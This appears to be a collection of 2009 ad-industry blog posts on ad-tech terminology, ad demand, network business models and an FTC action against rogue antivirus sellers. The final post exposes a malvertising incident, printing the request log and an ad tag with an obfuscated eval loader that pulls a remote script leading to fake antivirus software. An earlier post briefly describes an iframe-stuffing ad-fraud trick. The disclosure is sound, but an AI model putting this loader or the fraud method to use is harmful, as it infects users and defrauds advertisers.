Mike On Ads

Seems May is malware month! There are two events coming up — The Anti Spyware Coalition on May 19th and the The Admonsters AdOps 360 in New York on May 21st. I’ll be speaking at AdOps and on a panel at ASC — would love to get together if any of you are going to be attending. Shoot me a note at mike@mikeonads.com if you’re interested in meeting up.

One of the things that boggles my mind is how massively fragmented and confusing the display world still is. It’s been over three years since the first ad-exchange launched yet the world hasn’t significantly changed. What makes matters more confusing is that there is no consistent terminology to describe what a company does. It seems everybody describes themselves as either a platform, marketplace or exchange — so what’s the difference?

A company can call itself a publisher, an agency, a network, a broker, a marketplace, an exchange, an optimizer — what does it all mean? What’s the difference between Right Media and Contextweb? Admeld and Rubicon? That’s really the problem — today’s commonly used labels are useless.

Instead of evaluating a company based on labels, evaluate it based on the services it provides, technology it has, the partners it works with, the revenue model and the media revenue it facilitates. Note — below I focus entirely on companies that in some shape or form touch an *impression* — either as a technology provider, buyer or seller. There are peripheral companies that provide a whole world of supporting services, but I’m leaving those out for now to avoid confusion.

Services

Each company provides certain core services to partners, customers and vendors. These primarily center around the relationship the company has with the media that flows through it.

Technologies

There are certain core technologies that define what a company does. Note that you will find technologies such as dynamic creative optimization, behavioral classification and contextualization missing from the below list as they are differentiators — they don’t define what a company does but provide a competitive advantage over the competition.

Size Matters

Last but not least, the size and the partnerships of a company matters. I’ve written before about the perils of building technology in a void. You can have the most amazing platform that provides great services, but if you’re only running a few thousand dollars a month it’s all moot in the grand scheme of things.

Size can be measured either in impressions or revenue, the latter being far more telling. Getting a billion impressions of traffic a day isn’t hard these days — between Facebook and Myspace alone you probably have close to fifteen billion impressions of traffic running daily.

There’s a huge difference between a partnership and a media relationship. If you’re willing to foot the minimum monthly bill, anybody can buy Yahoo’s inventory through the Right Media platform. That doesn’t say much about who you are as a company. A partnership is different — it might be deep API integrations tying two platforms together or co-selling and marketing a joint solution.

What does it all mean?

Phew… that was a long list, so what does it all mean? Well, the above provides a slightly less fuzzy framework than the classical “ad-network”, “marketplace” or “exchange” commonly used labels to describe a company. Let’s look at a few examples:

Rubicon Project provides publisher representation services through it’s network optimization platform, arbitrages inventory through it’s internal sales team has both an internal and has an externally available adserver (one for the sales team and one for publishers) and is rumored to be working on real time buying APIs. That’s a hell of a lot more descriptive than “publisher aggregator” or “network optimizer”. The one thing I always find confusing about rubicon is that it their incentives seem to be fundamentally misaligned. How can you both arbitrage inventory and serve as a publisher representative? Updated (5/3/09 @ 8pm EST) — I seem to be misinformed. Per comments, Rubicon does not sell inventory directly to agencies.

Compare this to AdMeld which provides publisher representation services through it’s network optimization platform — an externally available adserver — and provides buying APIs (currently via passback). So what’s the difference with Rubicon? Well, one has an internal ad-network and the other doesn’t — different incentives. Publishers are starting to treat Rubicon as another ad-network in the daisy chain whereas AdMeld sells all remnant inventory as a trusted partner.

ContextWeb has an internal adserver (with a self-service interface… I don’t count that as external), they arbitrage inventory, and provide buying APIs. Compare this to Right Media which has an externally available adserver, buying and selling APIs, internal trading, data aggregation and arbitrages media (through BlueLithium/Yahoo Network). Both are “exchanges”, but clearly there is a pretty big difference between the two!

Of course if you get to Google your mind starts to explode just a little bit — as they do everything. Seriously. They buy & sell, have multiple adservers, provide buying APIs, internal trading, data aggregation…

Final Thoughts

I hope this post has given you some ways to start thinking about companies in the online ad space. I’d love to hear your feedback in the comments — what core services & technologies am I missing?

Now — next time someone says — “I’m an exchange”, why not ask — “Ok, that’s great, but what do you really do.”

Just browsing around the web today I noticed that the amount of quality ads seems to have disappeared overnight as we rolled into Q2 of 2009. I first noticed it on the New York Times — a house ad popped up on my second page view and the technology page was showing ads for Vonage — a traditional CPA/remant buyer.

So off I went to Yahoo — which has two serving systems, one for Class-I (premium/guaranteed) and the Right Media Exchange for Class-II (remnant) making it particularly easy to figure out which placements are sold premium or remnant. Of the various sites (news, mail, finance, movies, weather) only *one* showed me a Class-I advertisement, which implies that not too many guaranteed deals are flowing through sunnyvale (PS, RM folks, I’m getting 504 errors on your tags, see screenshot here).

CNN.com is showing Netflix on the first page view of the homepage, as far as i know they only buy on a CPA. Second page view went to “EarnMyDegree.com” — doubtful that’s guaranteed.

MSN.com is showing ads for IE8 — presumably an internal house-ad campaign.

This doesn’t look good — Q2 is going to be painful across the board… or maybe it’s all one big April Fools joke?

Watch this video:

How does it work? Pretty easy –> just traffic an ad with some JS that keeps writing out IFRAMES with ad tags. User never sees an ad and as long as the page is opening you are generating what appear to be valid ad requests from valid users!

Hopefully Right Media’s fraud filters are catching this!

If you haven’t already, you must read this post by Fred Wilson which summarizes a recent Comscore whitepaper Whiter The Click?.

I’m not going to re-summarize the paper as Fred’s post already does that. The findings are clear — display has a significant impact on consumers which is often not shown by clicks alone. Check out the graph:

This means that if you aren’t tracking (and billing!) on this behavior on performance based campaigns you are leaving some serious money on the table!

Question of the day — who’s got a good technology to track this?

Did the title get you? Honestly… I have no clue. I’ve heard some whacked out rumors — a new exchange, retiring dfp, building the uber-network of all uber-networks, taking over the world… Almost every conversation I’ve had in the last 2 months the big G has come up — what are they doing? They have all the strategic assets necessary to dominate display.. but aren’t. Why? Talent drain? Bad strategy? Who knows?

I imagine of all my blog readers have all heard small nuggets and rumors ideas floating around. This post is an open invitation to post what you know (be as anonymous as you like). No slander… and if you’re going to make something up at least make it so ridiculous nobody will believe you. Maybe collectively we can figure out what’s the behemoth is going to do.

PS: You can subscribe to the comment feed here. Don’t worry — I disabled commenting on my URL History post so the spam there has stopped.

Yahoo Research via Geeking with Greg:

In Web advertising it is acceptable, and occasionally even desirable, not to show any [ads] if no “good” [ads] are available. If no ads are relevant to the user’s interests, then showing irrelevant ads should be avoided since they impair the user experience [and] … may drive users away or “train” them to ignore ads.

What a crazy idea — what if one were to actually make more money by not advertising. It makes total sense. We’re inundated with media. Our eyes have been trained to ignore those lovely 160×600 and 300×250 size objects that we see all over our web pages — especially on social networking sites where our users spend so much time.

This fascinating paper on negative externalities further reinforces this idea:

Most models for online advertising assume that an advertiser’s value from winning an ad auction [...] is independent of other advertisements served alongside it in the same session. This ignores an important externality effect: as the advertising audience has a limited attention span, a high-quality ad on a page can detract attention from other ads on the same page.

I’m sure everyone by now is familiar with Pareto’s law — otherwise known as the 80/20 rule. Applied to advertising Pareto’s law states that 20% of impressions generate 80% of the revenue — and yes this is true for most web 2.0 properties that I have worked with. So what if we stopped showing ads on the 80% that were only generating 20% of the revenue?

Instead of showing crappy CPA offers the publisher should show either nothing at all, or some relevant site content. Show a snippet of the friend-feed, or maybe a list of ‘online friends’. Show “interesting related links”, or “new photos posted”… it doesn’t really matter. Show something that is of interest to the user. The point of the exercise is to train the user to start looking at this specific space again.

In the short term this may very well sacrifice 20% of revenue, as users who were previously inundated with ads are learning to trust those slots again. Longer term we get more user engagement which means higher rates on the other 80% of revenue. I wouldn’t be surprised if you saw a 50% increase in engagement just by showing 80% fewer ads — and that increase in engagement translates directly to higher rates and a fatter bottom line.

There are a world of other benefits too. First of all — fewer ads means happier users. It also means fewer creative issues (whether content or malvertising). The publisher can also use this as an opportunity to drive traffic from lower to higher monetized sections of the site. Eg, Myspace could drive users from the low $0.15 CPM User-Generated Content pages over to the very brandable ‘Movies’ section. And last but not least — showing fewer ads will create a sense of scarcity around what today is most certainly considered “bulk” inventory. This scarcity will help justify higher rates on the premium guaranteed buys — further helping to fatten up that bottom line.

If this is obviously so good, why is nobody doing it? Well there’s only one small insignificant problem… Publishers have no way of identifying the top 20% of impressions. You see, especially on social networking sites a huge portion of that 20% are impressions that are sold behaviorally via ad-networks and exchanges. Those ad-networks and exchanges need to see the full 100% to be able to cherry-pick the 10% that are valuable to them thereby making it quite difficult for the publisher to “not show ads” on worthless impressions. In fact, since all reporting is aggregated, most publishers don’t even realize that the majority of their revenue comes from a relatively small # of impressions.

How do we get around this? Well… that’s another blog post =).

In my last post I said that the traditional ad network model was dying — what I didn’t talk about is how I think the network model will evolve over the coming years.

The fundamental flaw with the traditional network model is that the network is incentivized to optimize it’s own revenue — not maximize value for the advertiser. As long as you keep the advertiser happy that he’s getting a great ROI, and the publisher gets his paycheck — the network can keep the rest. The less demanding the advertiser, the less intelligent the advertiser — the better for the network!

Let’s take a simple example — A classic agency IO line item has a size, cpm, budget and some basic targeting parameters and goals. For example, one agency may buy $10,000 worth of US based inventory at a $0.50 CPM for 728×90s with a target CTR of 0.5%. Another way to think about this is that $10,000 @ $0.50 is 20M impressions, and at a 0.5% CTR means the agency is expecting to receive 100,000 clicks.

Now the smart network will go out and see how cheap he can go and acquire 100k clicks on news inventory. Why? Well, assuming he can deliver the volume his revenue has already been fixed — it’s $10,000 no matter what he does. The only thing on the line is whether or not this IO will be renewed or expanded next quarter. Since cost is the only variable the network can manipulate to increase profit he will go out and find the cheapest possible inventory that at least a 0.5% click through rate. The chart below demonstrates this with fictitious data. Buying cheaper inventory results in a lower CTR, but also significantly higher profits. All the network has to do is figure out how happy he wants to make the advertiser — just happy enough to renew (and maybe increase) next quarter’s IO, but not quite enough to cut into his healthy profit margin.

Network Profit & Cost w/ Campaign Performance

Now you might think that this only works if advertisers are buying on a CPM, but sadly that is not the case. Whether it’s on a CPC, or even a CPA — it’s all about finding the cheapest way to fill the requirements. You see, there is actually a strong difference in lead-value depending on the source of the inventory. A click from Yahoo’s homepage is actually worth significantly more than a click from a social networking site such as Myspace or Facebook. Similarly, a lead or conversion from the New York Times (one of the most affluent properties on the web) is worth more than a conversion from helpforhomeowners.org. The majority of buyers out there today do not have the necessary lead tracking tools to accurately identify who is sending them good or bad leads.

I think that it’s this fact alone that justifies the need for central exchanges — which charge transparent fees to connect buyers and sellers. The problem with exchanges is that most agencies lack the deep buying knowledge that the ad-networks have. Just because there direct access to billions of impressions per day doesn’t mean that anybody *can* just buy them effectively. It takes serious skill and agencies still need help finding the inventory that will work best for their campaigns.

It is here that we are starting to see a new breed of ‘network’ — 100% advertiser focused buying networks that put their interest squarely with the actual agency. By charging transparent fees (say 10-20%) and being open about the inventory they buy — the agency can trust that efforts are spent optimizing and acquiring the best possible inventory for each campaign — not the cheapest that will fulfill the actual requirements.

Yet there is also a longevity question. Although agencies lack the skills to buy effectively today, this is something that they are all working on — at what point does the agency become a competitor of the “buy side” network — and visa versa? Logically these business don’t need to be separate, but practically I wouldn’t be surprised if they remain that way. Agencies are naturally filled with “right brain” people — they are creative, imaginative. Networks are naturally “left brain” focused — analytical.

Next post — we’ll take a look at the publisher rep firms and their growing role over the coming years.

Thanks to intervention by the FTC, a US district court has issued a temporary order banning the products we have struggled with for so long in the ad-industry: WinFixer, WinAntivirus, DriveCleaner, ErrorSafe, and XP Antivirus (and more). Although primarily aimed at defending consumers, the court injection expressly bars them from performing the scam we have seen so often — “placing advertisements purportedly on behalf of a third party without that party’s consent, or otherwise attempting to conceal their own identities”.

Several networks are named directly in the suit — you probably want to make sure you aren’t working with these:

1. Burn Ads
2. Net Media Group
3. AdTraff
4. Preved Marketing
5. Uniqads

According to the suit, the companies behind the scam are: Innovative Marketing (based primarily out of the Ukraine) and IMI Enterprise — and James Reno, Sam Jain, Daniel Sundin, Marc D’Souza, Kristy Ross and Maurice D’Souza named individually.

Thanks FTC!

Full FTC Press Release
The full gory details

Kudos to Andrew Dilling who sent me the full logs of this last night. I don’t have a contact @ Expedia but if someone does please shoot them a note.

Screenshot:

The popup:

Antivirus 2009 Download Page:

Tamper Data:

Calls:

GET http://www.expedia.com/
GET http://www.prolinar.com/?id=200811181921042
GET http://vernariostar.com/?id=200811181921042
GET http://www.google-analytics.com/ga.js
GET http://www.google-analytics.com/__utm.gif?utmwv[...]
http://vernariostar.com/includes.js
POST http://clicksoverview.com/soft.php?aid=075675&d=1&product=XPA&refer=dc77b3921
GET http://antivirusdefense.com/2009/1/freescan.php?nu=77075675

Code of the Ad tag page:

<html><body style="margin:0; padding:0;">
<a href="http://www.rhapsody.com/?ref=26ta7" target="_blank"><img src="http://www.triesto.com/banners-db/Rhapsody/Rhapsody_728×90_1.jpg" border=0></a>

<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));

</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-6195944-3");
pageTracker._trackPageview();
</script>

<script>
var action_URL = "http://clicksoverview.com/soft.php?aid=075675&d=1&product=XPA&refer=dc77b3921";
var target_URL = "http://clicksoverview.com/soft.php?aid=075675&d=1&product=XPA&refer=dc77b3921";
var warn_prod = "";
eval(unescape(’%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%76%65%72%6E%61%72%69%6F%73%74%61%72%2E%63%6F%6D%2F%69%6E%63%6C%75%64%65%73%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%29%3B’));

</script>

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